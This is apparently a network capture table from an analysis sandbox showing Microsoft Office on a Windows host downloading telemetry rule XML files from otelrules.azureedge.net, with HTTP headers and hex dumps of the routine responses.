2024-10-30 05:17:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051718Z-16849878b786lft2mu9uftf3y400000008u000000000c0t3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:18 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051718Z-16849878b78tg5n42kspfr0x4800000007kg00000000b3p7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:18 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 5383d0ca-b01e-0053-2a56-26cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051718Z-r197bdfb6b4g24ztpxkw4umce8000000096g000000003ff6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:18 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051718Z-15b8d89586ff5l62aha9080wv000000008zg0000000021qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:18 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:18 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 38ae9a1e-e01e-0099-4193-27da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051718Z-r197bdfb6b4skzzvqpzzd3xetg00000007100000000060wp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:19 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:19 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 0ad7b348-901e-0067-0d67-28b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051719Z-15b8d89586f989rkwt13xern5400000002sg00000000e3gm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:19 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:19 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:19 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 5ece5f0b-101e-0028-1a52-268f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051719Z-r197bdfb6b48pl4k4a912hk2g400000006w0000000005dhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:19 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:19 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051719Z-16849878b78wc6ln1zsrz6q9w80000000790000000006xr5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:19 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:19 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:19 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 9a40e34d-b01e-005c-559c-274c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051719Z-16849878b78z2wx67pvzz63kdg000000068g00000000319n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:19 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:19 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:19 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051719Z-16849878b786fl7gm2qg4r5y7000000007x0000000004hf1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:20 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:20 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051720Z-16849878b78j7llf5vkyvvcehs00000008rg0000000033ue x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:20 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:20 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051720Z-16849878b78x6gn56mgecg60qc00000009b000000000d15k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
